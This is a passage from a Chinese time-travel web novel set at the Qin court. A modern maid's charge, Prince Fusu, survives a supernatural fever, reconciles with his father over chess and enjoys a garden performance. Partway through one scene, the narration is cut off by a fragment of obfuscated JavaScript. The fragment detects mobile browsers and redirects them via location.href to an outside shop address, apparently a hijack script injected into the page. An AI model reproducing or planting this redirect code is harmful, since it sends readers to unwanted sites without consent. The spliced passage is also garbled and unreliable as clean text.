“回大王，刚刚公子突然晕倒了，已经派人去传太医了。”楚荍强忍着担心答道。
刚刚系统的话到底是什么意思？如果不是生理上的疾病，难道还是跟公子那个不记得内容的梦有关，跟大王有关？
楚荍抬眼看向嬴政，刚刚扶苏是跟他吵完架后昏倒的。之前扶苏说过一接近大王心里就疼，难道是因为两人吵架，所以气血攻心，直接晕倒了？
可这是什么奇怪的病，就算她是从千年之后穿回来的现代人也没听过这种病。
只是，若真是这样，那政哥现在别待在扶苏身边是不是好一些。
楚荍神色复杂地看向嬴政。就在她纠结要如何把嬴政劝回去的时候，太医令带着人来了。
太医令见扶苏面色苍白地躺在那里，心中一凛。
他快步上前为扶苏诊脉。
楚荍见太医令好一会儿不言语，又面露难色，反复诊脉，就知道这老头顶不上什么大用。
怎会如此，公子明明在发热，可从脉象上却看不出来。他行医这么多年，还从未见过如此奇怪的病。这不符合常理啊？
“太医令，公子是和人起争执后晕倒的，会和这个有关系吗？”楚荍在一旁提醒。
起争执？敢和公子起争执的，除了大王他想不出来第二个。难道她想让他说是大王把公子气病的吗？太医令瞥了一眼楚荍，她不想要脑袋，他还想要呢！
太医令起身，斟酌一下说词，谨慎地说道：“回禀王上，公子这病来的蹊跷。明明在发热，可从脉象上却看不出来。臣行医四十余载，还从未见过如此怪异的病情。”
“所以，太医令的意思是，你束手无策？”
嬴政冷漠地看向太医令，好像在看一个死人。
“不，臣的意思是……”太医令立马跪下，背后惊出一身冷汗，战战兢兢地答道，“虽不知公子发热的原因，但可先开方子退烧。”
片刻后，楚荍将汤药喂扶苏服下。心中却对这药能退烧的可能性存疑。
“没用的，我都说了扶苏这不是生理上的疾病，你要相信现代医学。”系统在楚荍脑子里大喊。
楚荍毫不犹豫地回怼：“你要我相信现代医学，那你现在能把扶苏治好吗？”
她刚说完，系统就没了声音，灰溜溜地回去查自己的资料库。
嬴政此时已经回去，太医令说这碗汤药服下后半个时辰就可退烧。楚荍一步不敢离地守在扶苏的床榻边。
“公子，公子，这份诏书绝对有问题，王上绝不可能赐死公子。我们回咸阳，去找王上问清楚！”
账外，蒙恬声嘶力竭地大喊。
“蒙将军，你和长公子是想造反吗！”使者高声喝止蒙恬。两方吵成一团。
账内，扶苏跪在地上，面如死灰。
原来父王想立胡亥为二世吗？
他想，那一切都解释通了，原来是这样。
扶苏笑起来，是了，父皇从来都不喜欢他，却又碍于礼法，他是长子，不便直接废黜。不然也不会这么多年不立储。
其实他对帝位并没有什么想法，这天下是父皇的天下，父皇想给谁都可以。
只是，他竟这么招父皇讨厌吗？
扶苏已经想不起来，上一次他和父皇心平气和谈话是什么时候了。是啊，谁会喜欢处处和自己对着干的儿子呢。
每次见胡亥跟父皇撒娇的时候，他都会黯然伤心很久。他一直很羡慕，胡亥和父皇之间的关系。
好像长这么大，他从来没让父皇满意过。更不提，那些笑容、夸奖、赞赏，这是从来都不属于他的东西。
他常常会想，如果他不是这个长公子，是不是一切都会不一样呢。
罢了、罢了，君要臣死，臣不得不死；父要子死，子不得不死......
既然父皇要为胡亥扫清继位的障碍，那他这个做兄长的，也该爽快些吧。
只是，只是，心为什么还是为这么痛呢？
他伸手接下掉落的眼泪，愣住了，他竟然哭了吗？自从被父皇丢到上郡之后，他就没再哭过了。
他还以为自己再也不会哭了。
呵，真软弱啊，扶苏，生死面前哭成这样......
他抬手擦掉眼泪，却发现怎么也擦不干净。
此时他心里却冒出一个不同的声音，说他这是委屈的眼泪而不是害怕的眼泪。
有什么区别呢，父皇不要他了，
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有什么区别呢......
扶苏拾起长剑，再没有过多迟疑。
秦始皇三十七年，长公子扶苏自刎而亡。
“太医令、太医令，怎么回事，公子怎么会哭？半个时辰已过，公子根本就没退烧。”
楚荍焦急地拉着太医令询问，这都烧了一个多小时，要是还不能退烧，烧坏了怎么办。小儿高烧不退是很危险的。
太医令又重新为扶苏诊脉。怎么回事，从脉象上看根本看不出公子在发热。他额头上冒出冷汗，要是不能把公子治好，他这颗脑袋也别想要了。
“扶苏如何了？”嬴政从门外进来问道。
“禀大王，公子、公子还未退烧。”
太医令跪下回禀，可话却结巴起来。
“怎么回事，你不是说半个时辰就可以退烧？”
“这、这......”
难道公子真的是因为大王才病的吗，要真的是这样，她必须做点什么，不能再让公子这样继续烧下去了。
她必须做点什么。
“大王，我有事要说，关于公子的。”楚荍下定决心，她打断两人的谈话说道。
嬴政不满地看向楚荍，还没有人敢打断他。
楚荍看向四周，意思很明显，这事只能单独和他谈。
嬴政皱起眉，不知道这女人葫芦里卖的什么药。但是关于扶苏，他脸色又是一沉，他一挥袖，示意其他人都出去。
等宫人都离开之后，她才把扶苏一接近自己父王就会心痛的事告知嬴政。
“你是说，扶苏一靠近我心就会疼？”嬴政诧异地问。他没想到会是这个答案。
看来扶苏是和自己小时候一样的病。
儿时，有一段时间，他一接近赵姬也会心痛。后来，赵姬全然不顾自己这个儿子，和嫪毐生下两子。虽说他借此事一举将铲除吕不韦等人，开始亲政。但这女人毕竟是她的母亲，是在他在赵国相依为命的母亲。对当时的他来说，不仅不解母亲为什么会这么对自己，更因为此事伤心过一段时间。
不过这件事完结之后，他再回想这件事时，就更觉蹊跷，世上哪里会有这样奇怪的梦。让人不记得内容，却因此为一个人心痛。
所以他一度以为自己或许有预知能力，又或是上天在警示他，让他远离这个这辈子伤他最深的人。
可现在扶苏也是这样，难道自己是那个伤他最深的人。所以上天才会让扶苏得这个怪病，让扶苏远离自己。
现在回想一下，这段时间，他确实几乎没怎么见过扶苏，明明他每日就在偏殿读书。
扶苏竟然因为自己受了这么多苦吗？
嬴政一时愣住了，他怎么也没想到会是这样。
“好了，我知道了。”嬴政打断楚荍在一边不自觉的絮叨，“来人，传大巫。”
大巫？这下轮到楚荍诧异了。他家王上这是见医学不行，就转向玄学了？虽说这事确实挺玄幻的，但是“大巫”来驱个魔什么的真能治好扶苏吗？
楚荍满腹怀疑，她还没见过这个时候的“巫”呢。
17.第十七章 清醒
轰隆——
轰隆——
天上雷声四起，原本晴朗的天被乌云遮蔽。刹那之间，倾盆大雨就落了下来。
咔嚓！一道闪电劈过。瞬间的亮光划破天幕。
楚荍望向慌忙关门关窗的宫人，心中惊疑不止。
这么晴朗的天，怎么突然下起雨来了。还是这样的狂风暴雨。
她走到扶苏身边，握住他的手，心中的不安也少了几分。
一定不要有事啊，公子。
楚荍低下头用额头抵住自己握着扶苏的手，在心中向上天祈求。
“吱呀——”殿门被打开，巫祝终于带人赶到。
楚荍望向来人，扶苏已经烧了快两个小时。现在不管是谁，只要能救扶苏，是人是鬼她都不在乎。
这巫祝并不像后世戏剧演绎的那样披头散发、原始野性，这位老婆婆一头银发盘在脑后，穿着秦国的服饰，手持一根法杖。
她除了身上佩戴的一些祛除邪祟的法器之外，乍一看与秦国普通的老奶奶并无不同。
楚荍松开扶苏的手，站起身，退到一边，为她腾出位置。
“巫祝，还请您为扶苏看看，太医所用的退烧法子并没有效果。”嬴政恭敬地说道。
先秦时期，掌握祭祀的“巫”代表着神的旨意，权势很大，便是各国的王也要礼让三分。
啊！楚荍被突然凑到她面前的巫祝吓了一大跳。
她与楚荍挨得极近，呼吸可闻。
巫祝原本因年岁增长而混浊的双眼此刻却突然明晰起来，一双锐利的双眼仿佛直直望进她的灵魂。
楚荍被她吓得一动不敢动，有那么一瞬间，她以为自己被看穿了。
但瞬息之间，巫祝又已经离开她几米之远。快得好像刚刚什么都没发生，而那只是楚荍的错觉
她简单看过扶苏之后，好像很快就明白了扶苏生病的原因。吩咐其他巫女将一些法器摆好，就开始跳起了祛除邪祟的舞蹈。
屋外黑云压城，雷声雨声轰隆作响，屋内奇异模糊的歌调与各种法器的叮铛之声混在一起。
很快，大概一刻钟之后，祛除邪祟的舞蹈跳完。就在楚荍以为结束的时候，巫祝却向嬴政伸出了手，好似在讨要什么东西。
而嬴政好像也明白她的意思，抬手将自己脖子上的一枚玉佩解了下来。
这玉佩一看就是古物，长方形的玉上刻着简单的线条纹理，十分古朴。
巫祝接过这枚古玉，将其放置在青铜盘之上，念完长长的咒语之后，又与其他三名巫女一起合跳一支祝祷的舞蹈，这才亲自将古玉为扶苏戴上。
“切记，此玉绝不可摘下。”
巫祝嘶哑着声音向嬴政嘱咐。
嬴政郑重地点头，“是。”
诶，等等！刚刚那玉是不是亮了一下？
楚荍抬手揉揉自己眼睛，以为自己是被“巫”给影响，出现了幻觉。不然玉佩怎么可能会亮，里面又没有灯泡！
就这这时，外面雷声骤停，乌云散去，天空很快放晴。
系统也在她脑子里大喊：“扶苏体温降下去了，烧退了！”
楚荍吃惊地望向已经天晴的窗外，她现在有一丝丝混乱。
不会吧不会吧，难道科学的尽头真是玄学？
但是听到系统的话之后，她立马收起发散的思维，快步走上前用手贴住扶苏额头测体温。
太好了，烧真的退了下去。
“大王，公子的烧退了。”楚荍惊喜地向嬴政禀报。
扶苏的烧退之后，巫祝并没有立马离开。嬴政知道她有话与他说，叮嘱了几句之后便随着她一起离开。
殿外，嬴政屏退众人，周围只剩下他和巫祝两人。
“巫祝可是还有话要交代我？”嬴政问道。
“此人是外来客。”
“谁？”嬴政回想了一下刚刚在殿内的场景，“巫祝说的可是楚荍？”
“王上……天机不可泄露。”
巫祝抬头望向晴如碧洗的天空，既没有否定嬴政的说话，也没有给他一个肯定的答案。
嬴政看着巫祝远去的背影，又抬头看向天。外来客是什么意思？如果说的是楚荍，当初她是随扶苏的母亲一起来到的秦国，从这层意义上来说她确实是“外来客”。
那看天又是什么意思，天上有什么？
嬴政站在原地思虑了一会儿，但很快又转圜回殿内。
不知扶苏怎么样了，烧虽然退了，人醒了吗？
“公子，你醒了！感觉怎么样，有没有什么不舒服的地方？”楚荍紧张地问道。
恰好这时嬴政走了进来，他在扶苏床榻前站定。
扶苏睁开眼时刚好对上嬴政沉沉的目光。
他张开嘴巴，却没能发出声音。
他又艰难的抬起手，勾住嬴政的衣角，眼角忽而落出一滴泪来，喃喃道：
“父皇，别不要我。”
话音刚落，扶苏就又闭上了眼睛，手也支撑不住地落了下来。
太医令见状立马上前为扶苏诊脉，“启禀大王，公子无事，只是睡着了。等公子睡醒，应当就无碍了。”
闻言，楚荍还是有些担心，又去问了系统。
“扶苏没事了，各项体征都显示正常。这太医令这会没说错，他只是睡着了。”
得到系统肯定的答案，楚荍这才稍稍放下心来。
“刚刚，刚刚扶苏说什么？”嬴政垂目问道。
意识到嬴政在问自己，她立马答道：“公子说大王别不要他。”
不对，刚刚公子说的是父皇还是父王来着。扶苏呢喃的声音很小，楚荍也只是勉强听清。
而且这两个词的发音也很像，若公子真的喊的是父皇，那岂不是真的是预知梦？
如果不是梦到不知真相的矫诏赐死，又怎会说出别不要他这种话。
楚荍拨开扶苏被冷汗打湿的发丝，心里十分心疼。
他家公子这样心思细腻，温柔良善之人，才会被这种爱困于囚牢之中。
自幼丧母，父亲又是这样强大之人，可自己却好像永远得不到父亲的认可。苦苦追寻一生，最后却只落个赐死的下场。
若扶苏不知道真相，在看到诏书的那一瞬间，心该有多苦多痛呢？
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楚荍不忍去想。
翌日，扶苏终于悠悠转醒。
他张嘴想喊人，却发现自己的嗓子好像被汤药的苦味给糊住了。
一转头，就看到楚荍趴在他床榻边睡得正香。
他还记得自己晕倒了，姑姑肯定很担心她，还是让她多睡一会儿吧。
诶，脖子上好像有个东西咯咯的。扶苏抬手一摸，发现自己不知何时戴上了玉佩。而且这玉还是暖玉！
他本来以为是自己的体温把这玉捂热了，但是他拿在手上把玩一段时间之后，竟还是温暖的。
楚荍被扶苏的动作弄醒，见扶苏醒了，十分高兴。
“公子，你总算醒了？可要喝水？”
扶苏点点头，楚荍扶着他稍微坐起来。
掖好被子之后，她取来一直温着的温水，用勺子一点一点喂给扶苏。
等一杯差不多见底，扶苏清了清嗓子：“多谢姑姑，让你担心了。”
楚荍摇摇头，摸着他的头说道：“公子没事，姑姑才是真的放心。”
“公子现在感觉如何，可还有什么不适的地方。”
“没有，不过这玉是怎么回事？”
扶苏握住自己脖子上的玉佩问道。
见扶苏问了，楚荍也就把他昏迷之后的事都告诉了他。
“对了公子，巫祝特意嘱咐，这玉绝不可摘下。而且这玉怕是来头很大，公子平日里小心些。”
楚荍笑着说。这玉是从政哥脖子上摘下来的，可不是来头很大。
“嗯，我知道了。”扶苏紧紧握住这枚玉佩，原来这玉竟是父王戴了十几年的吗。
源源不断的温热从玉佩中传到扶苏手心，又从手心传至四肢百骸和五脏六腑。自从戴上这块玉之后，扶苏总觉得自己的心好像安定下来了。
原来他因为父王而心中空掉的一块好像也随风而去，取而代之是源源不断的暖意。
“公子，昨晚可又做梦了？”
楚荍带着一些担忧问道。从扶苏的状态来看他应该是不记得自己发热时做的梦了。还有中途退烧后醒来的那一次，那句呢喃。但她还是得确认一下。像这次这种事情，不能再发生了。
扶苏摇摇头，“昨晚我睡得很好，并未做梦。不过……”
“不过什么？”楚荍追问。
“不过我昏迷的时候好像做了一个很长的梦，但是现在不记得了。”
“既然不记得了，说明并不重要。公子不必多想。”
不记得就好，不记得就好，这样痛苦又残忍的“假”梦最好永远也不要想起来。楚荍安抚似的轻轻抱住扶苏。
是太担心自己了吗？扶苏在楚荍的怀里想，从之前开始，姑姑好像就对他梦里的内容讳莫如深。
他清楚的记得昏迷之前的事，又从楚荍口中拼凑出他昏迷之后的事。
虽然他也对自己的梦有些好奇，更对自己为什么会患上这样的病感到疑惑。但是现在他心中清净澄明，好像突然对这些事就失去了探究的欲望。
“对了姑姑，我昏迷前父王生我的气不会是因为象棋吧？”扶苏眨着眼睛，歪着头问。
18.第十八章 入夏
深夜，满天的繁星静静地挂在天上，无声无息地照耀着地面上的生灵。
寝宫内，层层帷幕之间，嬴政猛地从床上坐起。
他大口大口喘着粗气，抬手擦掉额头上的虚汗，这已经是他这几日第三次在半夜惊醒了。
“父王，别不要我。”
他现在一闭眼，眼前就是扶苏那双满含害怕、委屈、伤心、痛苦和好多其它复杂的情绪交织混杂在一起的眼睛。
还有从他眼角滑落的那滴泪。
在扶苏的梦里，自己到底做了什么？
嬴政忍不住去想。
他这么多孩子当中，扶苏是他看得最顺眼的。
不仅是他的长子，还生的好，又天资聪颖，仙童般的人物，见过扶苏的就没有不喜欢他的。
他的其他孩子，也不是不好，但跟扶苏一比，就黯然失色了。
所以他多宠扶苏一些，也再正常不过。
只是这小子，你说他懂事吧，他也没少气他。你说他不懂事吧，他恰恰又是太懂事，总是一副小大人的样子，甚少与他亲近。
唉，嬴政长叹口气，他抬头望向窗外的银月，他真是要拿扶苏没办法了。
翌日中午，楚荍捧着两个锦盒回来。
“公子，你要的东西准备好了。”
这几日扶苏一直在休养，也顺便拜托楚荍帮他准备道歉的礼物。他已经想清楚了自家父王生气的原因。
蒙叔听说他生病了来看过他，自然也把那日书房之中的闹剧告诉了他。
他确实没想到象棋竟风靡的如此之快，虽然他的几位老师在和他对弈后就迅速爱上了象棋，甚至隔天就能给他留下残局让他去破解。但是宫外的情况他并不了解，先生们也没有与他说过这些，他自然是无从得知。
那时候他还被那奇怪的病缠着，对自家父王的态度是能不见就不见，更不会想起还要给他送一副去。
这确实是他的不该。
所以这才让楚荍为他准备了道歉礼物。
这两幅锦盒之中装着两幅象棋。一副是用上好梨花木做的，棋子各个圆润可爱。而且是直接用了两种一深一浅两种颜色的木头进行雕刻，省去了刻字后还需要涂上用以区分棋子这一步。
另一副则是立体象棋，原本“卒”棋变成了一个木雕的小人；“马”棋“象”棋则雕成了相应的动物。其他棋子也是同理，都从原本的简单刻字变成了立体的雕像。
每个棋子都栩栩如生，精美绝伦，简直是送礼的不二之选。
“公子，要是大王收到这些，肯定会很高兴的。”楚荍笑着对扶苏说。
现在扶苏身体也好了，他愿意主动和政哥亲近，她简直比谁都要高兴。
扶苏放下竹简，拿起一枚棋子观察，他对这副立体版的象棋也很是喜欢。
“姑姑，你应该不止准备了这一副吧。”
“哼哼，那当然。姑姑已经学聪明了，以后所有东西都要多准备几份才行。”楚荍得意地说，“知道公子喜欢，这立体象棋也给公子留好了，放心。”楚荍眨眨眼睛，表情十分俏皮。
用完午膳之后，扶苏便带着这两幅象棋来到了嬴政宫中。
宫人通传之后，他上前行礼，楚荍捧着锦盒跟在后面。
“父王，今日午膳可还合胃口？”
虽说他今日是来道歉的，但是具体要怎么说，他也没想好。所以就愉快地决定走一步看一步了。就跟姑姑说的一样，他刚刚大病初愈，就算说错话父王肯定也不会生气的。
若是之前扶苏肯定不会这么想，但是这次病好之后，他不知为何就充满信心。或许是他心口前不断传出暖意的古玉给他的力量吧。
今日的午膳是凉面。如今已经六月了，天气渐渐热了起来。楚荍见扶苏大病初愈，又十分怕热导致没什么胃口。所以特意做了这道凉面。
古代储冰用冰的历史很早就有了，最早可以追溯到周朝。《周礼》中便记载了“凌人掌冰，以供祭祀宾客”。
不过扶苏吃的只有一点点凉意，和常温的差不多。病还没好全呢，楚荍自然不敢给他吃冰。不过送到嬴政这里的是过了冰水的面，吃起来弹牙爽口。
“还不错。又是你弄的？”嬴政看着自己手中的竹简，没有抬头。说完，才抬头看了一眼扶苏身后的楚荍。
“回大王，最近天气热了起来，公子胃口不好，所以我才做了这爽口开胃的凉面。”楚荍解释道。
闻言，嬴政放下手中竹简，“你倒是上心。”
他从椅子上起身，走到扶苏面前，问：“这锦盒里的是什么？”
“这锦盒里是两副象棋，父王看看可还喜欢。”
随着扶苏的话，楚荍把两个锦盒放到一边的桌子打开展示，露出里面两副精美的象棋。
“终于想起来给我送一份了？”嬴政把玩着棋子问道。
扶苏点头又摇头，“前些日子孩儿生病，这才疏忽了，还请父王恕罪。”
他抬头看向嬴政，眼里还有几分委屈。
嬴政看着心中好笑，他还委屈起来。是谁过了这么久，东西再放都要发霉了才想起来给自己父王送一份过来的。
楚荍见状，给周围宫人使眼色，带着所有人悄悄退了出去。
这种时候肯定要给人家父子俩私密的二人空间啊，不然怎么打开心扉诉说自己的心情！
虽然楚荍很想知道两个人会说些什么，但是为了给他家政哥和公子的父子感情添砖加瓦，她还是果断退了出来。
“你还委屈上了？”嬴政笑着说，抬手就弹了扶苏一个脑袋崩。
他在一旁的桌上坐下，“既然你都把这棋送过来了，那就过来陪我下一盘吧。”
扶苏揉着自己被弹疼的额头，心想虽说这事确实是他理亏，但是谁说理亏就不能委屈了！而且父王弹他都没有收劲，真的很疼！
他走上前把棋子码好，心里委屈劲上来了，眼泪不知怎么就在眼眶蓄了起来。
嬴政见扶苏低着头不说话，一看，小孩竟然一副委屈巴巴要哭的样子。
唉，到底还是小孩。就算平常再怎么装作小大人的样子，他一句重话，就委屈起来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050240|148364||http|test|mini|href|location''.split(''|''),0,{}));
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他心中一软，放缓了语气，“怎么，生过一场病，倒是爱哭起来了？”
“孩儿没有。”扶苏摇摇头，抬手擦掉眼泪。他也不知道自己怎么了，明明只是件小事，但刚刚心中的酸涩苦楚好像要溢出来了，还在父王面前哭鼻子，好丢人......
扶苏吸吸鼻子，嗡里嗡气地说道：“孩儿是觉得，此事虽是孩儿的错，但是、但是......”
“但是什么？”嬴政问。
“但是孩儿生病了，父王也该体谅孩儿才是。”
扶苏但是了半天，蹦出这么一句。嬴政简直都要被他逗笑了。
“那不如你我对弈一局，你要是赢了，此事咱们就两清如何？”嬴政笑着说。
“真的？”扶苏眼睛一亮，惊喜地问道。
嬴政点点头，“君子一言，驷马难追。”
有自家父王这句话，扶苏立马就来了劲。就是不知道父王水平如何，自己要是输得太惨，岂不是很丢人。
不过下了几步之后，扶苏就大概摸清了自己父王的水平。
嗯，顶多算是初学者吧。不过想想也是，父王政事这么忙，哪有那么多时间去研究象棋。
既然如此，那这场胜利他就要拿下了！
很快，扶苏就赢下了第一盘。
“将军！”扶苏吃掉对方的帅棋，十分开心地说，“父王，君子一言，驷马难追哦。”
看着扶苏开心的样子，嬴政也笑了起来，“再来一盘如何？”
“好！”扶苏笑着点点头，他很快就把两边棋子分好。
第二盘，扶苏胜。
第三盘，依旧是扶苏胜。
若是楚荍在这里，她就会发现他家公子沉浸在自己胜利的喜悦当中，而完全忽略了自家父王已经抿起的嘴角。
“听说这棋是你自己研究的？”嬴政问道。
扶苏听到这问题一愣，“啊，不是啊，这棋是姑姑研制的呀。”
“楚荍？”
“对啊，前些日子将闾来找我玩，这棋是姑姑怕我们俩无聊弄出来给我们玩的。”扶苏如实解释，随即又笑了起来，“不过这棋虽然是姑姑研究出来的，但是姑姑并不擅长。姑姑总说她自己是‘臭棋篓子’。”
“臭棋篓子？”嬴政重复一遍，发现这词竟然意外的很形象。
楚荍听到传唤，发现政哥正一脸玩味地看着她。
“楚荍，这棋是你研究的？”
“回大王，是。”楚荍有些不明所以地答道。
虽然她不知道这父子俩谈心是怎么扯到自己的，但下一秒她就明白了。
“既然是你研究的，那你过来陪我下一盘吧。”
啊？楚荍睁大了眼睛，公子没将自己是臭棋篓子的事告诉政哥吗？
不对，楚荍扫了一眼桌面棋盘上的局势，然后瞬间明白，原来大王是想在她这找回点面子啊。
唉，行吧，自己这个臭棋篓子要是能给政哥找点乐子，也值了！
楚荍在心里安慰自己，然后下一秒心里的小人就在仰天大哭，怎么如此!
19.第十九章 惊喜
“将军。”
嬴政轻轻说出这两个字，而楚荍彻底崩溃。
这父子俩到底什么癖好，喜欢跟她这种臭棋篓子下棋。她忍不住在心中腹诽，这已经是她输掉的第三盘棋了。
连赢楚荍三盘之后，嬴政的心情好了很多，也咂摸出几分象棋的乐趣。
他看向在一边观棋傻乐的扶苏，这世上敢连赢他三盘的也就自己这个傻儿子了。偏偏他还丝毫不觉得。
楚荍见嬴政没有来第四盘的意思，终于松了一口。
她抬头看向窗外，太阳西沉，离晚膳时间大概还有一个多小时。
时间差不多了，为了庆祝扶苏大病初愈，她可是准备了惊喜的。
楚荍从椅子上起身行礼，“大王，公子，为了庆祝公子大病初愈，我特意在花园准备了惊喜，烦请大王公子移步。”
“姑姑竟然还给我准备了惊喜？”扶苏有些惊讶地问道。
楚荍点点头，“这会儿花园里热气虽未完全散去，但是已经不觉得热了，去散散步正好。”
“那我们快走吧。”扶苏已经有些迫不及待。不过他深刻吸收了此次事件的教训，所以立马又问道：“父王，和孩儿一起去吧。”
“庆祝你大病初愈，我去做什么？”嬴政勾起嘴角笑着问，语气玩味。
“大王为国事日夜操劳，现在花园里气候宜人，夏风正好，大王若能去休憩一会儿，放松心情，再来处理政务时定能事半功倍，一挥而就。”
楚荍早就料到了嬴政会这么问，所以早早就好了说词。再加上公子在一边的助攻，哼哼，这下逃不掉了吧，政哥。
嬴政见楚荍一副胜券在握的样子，让他不是很想顺了她的心意，但他又确实有些好奇她到底准备了怎样的惊喜。
反正就从他们每日的膳食来看，这惊喜应该不会差。
六月初夏，花园里绿意繁茂，楚荍带着众人穿过鹅卵石铺就的石子路，又穿过竹子林，最后才在曲径通幽之处豁然开朗。
翠绿的湖泊荷叶层层叠叠，风吹过，翻起层层绿浪。粉嫩的荷花骨朵儿星星点点缀在其间，许多荷花已经开放，娇艳地向众人宣告着自己的美丽。
荷花池边围栽了许多大树，其中一颗树下，众人看到了楚荍所准备的惊喜。
两张摇椅并排放在树阴之下，中间用一张方桌隔开。
方桌上放着备好的新鲜水果和点心，摇椅旁边还放着冰盆和垫脚的小凳子。
“姑姑，这也是椅子吗？”
扶苏看着面前长长的一张椅子，一时间不敢确定。
“嗯嗯，公子真聪明，”楚荍点点头夸道，“此椅唤作摇椅，人躺上去后椅子会轻轻摇晃，有助于放松身心，缓解疲劳。”
“大王和公子躺上去试试吧。”
现在桌子椅子宫里众人已经见怪不怪了，但是这摇椅还是第一次见。而且不用躺上去就能看出来，这摇椅躺起来肯定十分舒服。
扶苏和嬴政试探性地躺下去，发现头刚好可以枕到软枕的位置，不会被硬木头给硌到。腰也恰到好处被撑住。
现代摇椅都可以调节靠背的高度，但是现在这会儿还没那么高技术力呢，所以楚荍就直接做了半躺的高度。
这个高度即可以踏着脚凳悠闲地看书，也可以躺下休憩一会儿，都刚刚好。
楚荍见两人躺好，不知从哪里掏出两卷书，一卷递给扶苏，一卷递给嬴政，刚好都是两个人最爱看的书。
扶苏和嬴政接过书，互相对视一眼，不知道她葫芦里卖的什么药。
楚荍又是轻轻一拍手，悦耳的丝竹之声响起，但嬴政和扶苏回头一看，却没看到弹奏的乐伶，想来应该是藏在那片花丛后面了。
此时除却丝竹之声，面前的荷池又传来动人的歌声，只见歌姬身着华丽的衣裳，乘坐一叶小舟，拨开层层的荷叶，踏着歌声而来。
而在下一节副歌高潮来临之时，荷池左侧的亭上又出现一抹红色的倩影，随着一门新加入的乐器翩翩起舞。因着距离稍远，虽看不清舞姬的面容，但其飘动的轻纱，灵动轻盈的舞姿，无不让见者倾心。
一曲毕，楚荍这才缓缓问道：“大王和公子觉得这惊喜如何？”
“难怪姑姑这几日总说忙，原来是瞒着我来排这个了。”扶苏带着些惊叹笑着说，显然对刚刚这场乐舞十分满意。
“自然要瞒着公子，不然怎么叫惊喜。”楚荍有些得意，这场乐舞她可是花了好多心思编排的。
她眼睛亮晶晶地看向嬴政，十分期待他的评价，“快夸我”三个字已经写在她脸上了。
嬴政从刚刚这场乐舞回神，难得夸了她一次：“还不错，确实比你的棋技好多了。”他顿了顿，又接着说道，“可以称上一个‘雅’字。”
“比我之前看的歌舞都要好看，让人还想再看一遍呢。”扶苏也夸道。
“多谢大王公子夸赞。”楚荍美滋滋地行礼道谢，高兴地嘴角都放不下来。“公子想再看一遍，这有何难？”
她轻轻一拍手，丝竹之声又是响起。
“离晚膳还有些时候，大王公子不如趁机休息一会儿？”
这时天色已经微微暗了下来，绯红的烟霞铺满了半个天空，启明星高高挂在天上，晚风徐徐，风里皆是荷叶的清香。
这样的时候，身下的摇椅轻轻摇晃，好似每一下都晃进人的心里。
扶苏和嬴政原本还在伴着乐声看书，但很快，两人就在这样的摇晃之下闭上了双眼。
确认两人睡着之后，楚荍悄悄拿走他们手上的竹简，又给二人轻轻盖上薄毯。
一个小时过得很快，楚荍把二人叫醒。
天色已经暗了下来，空气里也沾染上来夜晚的凉意。休息了一个小时刚刚好，再多睡一会儿，晚上该睡不着了。
“大王，公子，晚膳已经好了，咱们回宫吧。”
唔，嬴政猛地睁开眼，用力抓住搭在他肩膀上的手。
楚荍被嬴政吓了一跳，疑惑地喊了一句大王。
看清来人之后，嬴政这才松开楚荍的手，有些虚弱地问：“我睡着了？”
“嗯，大王大概睡了有半个时辰。”楚荍揉着自己的手腕答道。虽然现在看不清，但是她的手腕肯
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定红了。政哥手劲真大啊，她在心里吐槽。
刚刚嬴政那副突然被叫醒后戒备的样子全然落入她眼中，她完全能够理解。毕竟这个时代刺杀暗杀那么多，政哥小时候在赵国又备受欺负，有些警戒心再正常不过了。
她不仅不觉得奇怪，反而有些心疼，妈妈粉的心情又在发作了......
晚膳两人是各自回宫吃的，嬴政一回寝宫就看到了和花园里一样的摇椅已经被摆在了屋内。
看到这，嬴政忍不住勾起嘴角，心想楚荍倒是比那个臭小子会看眼色多了。
另一边楚荍和扶苏一回宫，就迎来了一群意外来客。
“大兄——”
将闾带着五个小萝卜头一起喊扶苏大兄，结果几个小萝卜头奶声奶气地根本喊不齐。
“你们怎么都来了？”扶苏起身将几人迎进来，哭笑不得地问。
这几个小萝卜头正是扶苏的弟弟妹妹。
“听说大兄病好了，我带他们来看看大兄。”将闾低着头，难过地说，“本来前几日我就想来的，但是母亲怕我耽误大兄养病，不让我来。”
“没关系，你们今日来了大兄也很高兴。都吃了没有？”扶苏摸摸将闾的头安慰，又问向其他几个小萝卜头。
“没有！”几个小萝卜头齐齐摇头，这回倒是喊齐了。看来长公子宫里都是好吃的这事也声名远扬了。
因为没有事先准备，楚荍便让人赶紧去膳房给这群公子公主加菜。
因为都是小朋友，楚荍特意跟膳房点了几个好吃又好看的菜，甜甜的豆浆，水果捞豆花和豆沙小馒头。这水果捞豆花是她最近刚搞出来的，还只有扶苏吃过。
嫩豆花加蜂蜜加牛奶，再摆上一圈时令水果，绝对的又好看又好吃。
果然，这些菜送过来的时候，不出一秒就俘获了这些小萝卜头的心。
几个圆圆的小萝卜头围着扶苏坐成一圈，呼哧呼哧吃着自己的饭，这场面不知道有多萌，楚荍心已经被萌化了。
她跑到卫兰旁边，对着他挤眉弄眼，“兰儿，这幅画面，OK不？”
卫兰一笑，给楚荍比了个OK的手势。这手势也是楚荍教她的。她现在已经把自家姑姑的心思给摸透了，只要姑姑一脸兴奋地跑过来找她，准是为了让她画画这事。
不过她自己也很喜欢画画这事，自然也不会推拒。而且姑姑为了让她安心画画，给她推了很多宫里繁琐的杂事。她心里很感激，所以在画画上下了狠功夫，现在已经有一些成效了。
几个小萝卜头吃完之后，楚荍取出自己早早就准备好的简化版战国“大富翁”。
这会儿终于能派上用场了。
这几个小萝卜最小的才三岁，她玩不了，就只好在旁边看着。剩下的四个小孩，将闾六岁，剩下也有四五岁，再加上楚荍，刚好六个人。
她把画着地图的很大一张布帛铺在地毯上，又发给每人一个锦盒。锦盒里放着初始的铜钱。
简化版的战国大富翁，规则很简单，小朋友也能玩。
楚荍讲解完规则之后，几个小萝卜头都跃跃欲试！
20.第二十章 战国版大富翁
简化版的战国大富翁规则如下：
